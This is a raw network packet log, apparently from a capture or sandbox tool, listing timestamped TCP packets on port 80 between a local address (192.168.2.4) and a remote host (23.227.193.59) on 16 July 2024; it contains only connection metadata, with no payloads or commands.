Jul 16, 2024 22:29:50.841773987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.841814995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.841823101 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.841867924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.841903925 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.841923952 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.841955900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.841989994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842006922 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.842024088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842056990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842077017 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.842098951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842132092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842150927 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.842166901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842195988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842216015 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.842277050 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842309952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842331886 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.842343092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842377901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842395067 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.842415094 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842458963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842466116 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.842494011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842542887 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.842761993 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842796087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842885971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842916012 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.842919111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842952013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.842967033 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.842984915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.843019009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.843029976 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.843051910 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.843101025 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.843441963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.843496084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.843529940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.843547106 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.843775988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.843808889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.843842030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.843858004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.843900919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.843935013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.843967915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.843969107 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.844001055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844033957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844046116 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.844069004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844073057 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.844104052 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844116926 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.844140053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844192028 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.844207048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844321966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844372034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844378948 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.844405890 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844435930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844449997 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.844451904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844468117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844499111 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.844521046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844538927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844552994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844571114 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.844600916 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.844719887 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844736099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844750881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844765902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844782114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844784975 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.844796896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844813108 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.844813108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.844860077 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.845060110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845077038 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845109940 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.845222950 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845238924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845254898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845272064 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.845302105 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.845426083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845442057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845465899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845480919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845496893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845498085 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.845511913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845525026 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.845529079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845544100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845561028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845566034 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.845576048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845592976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845598936 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.845609903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.845623016 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.845668077 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.846198082 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846213102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846226931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846241951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846247911 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.846256971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846271992 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846287012 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846302032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846309900 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.846317053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846332073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846347094 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.846347094 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846363068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846374989 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.846378088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846394062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846402884 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.846410036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846426964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846453905 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.846487999 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.846957922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846973896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.846987963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.847003937 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.847009897 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.847018957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.847034931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.847048044 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.847079039 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.847093105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.900409937 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.929442883 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929462910 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929482937 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929508924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929523945 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929538012 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929553032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929637909 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.929663897 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929714918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929754972 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.929785013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929799080 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929812908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929887056 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.929927111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929941893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929955959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929970026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.929995060 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.930043936 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.930469036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.930525064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.930538893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.930571079 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.930706024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.930721045 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.930736065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.930752039 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.930785894 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.931010008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931123018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931148052 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931163073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931170940 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.931205034 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.931327105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931341887 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931360006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931375027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931376934 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.931421041 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.931462049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931535959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931551933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931615114 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.931684017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931699991 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931714058 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931725979 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.931730032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931751966 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.931952000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931967020 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931979895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.931994915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932001114 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.932008982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932024002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932025909 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.932039022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932074070 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.932096958 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.932328939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932395935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932413101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932447910 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.932544947 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932560921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932574987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932590008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932598114 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.932610035 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932676077 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.932698965 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932795048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932811975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932826042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932841063 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.932842970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932857990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932869911 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.932873964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.932913065 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.933029890 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933072090 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.933120966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933135986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933181047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.933300018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933315039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933329105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933342934 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933357000 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.933357954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933384895 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.933537960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933552980 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933567047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933582067 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933590889 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.933598042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933613062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933615923 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.933656931 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.933859110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933876991 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933890104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933904886 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933911085 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.933919907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933936119 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.933950901 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.933993101 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.934107065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934122086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934137106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934149027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934149981 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.934178114 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.934387922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934402943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934422016 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934437037 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.934446096 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934470892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934472084 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.934509993 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934520006 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.934535027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934560061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934582949 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.934583902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934607983 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934631109 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934633017 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.934655905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934680939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934680939 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.934705973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934726954 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.934731007 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934756041 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934773922 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.934782028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.934823036 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.935247898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935271978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935296059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935319901 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.935333967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935359001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935383081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935383081 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.935408115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935429096 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935430050 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.935453892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935472965 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.935481071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935506105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935524940 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.935532093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935555935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935576916 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.935580969 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935605049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935626030 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.935630083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935655117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935678959 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.935681105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935712099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.935730934 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.978555918 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.018413067 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.018466949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.018522978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.018538952 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.018554926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.018589973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.018599987 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.018624067 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.018660069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.018682957 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.018708944 CEST	80	49730	23.227.193.59	192.168.2.4
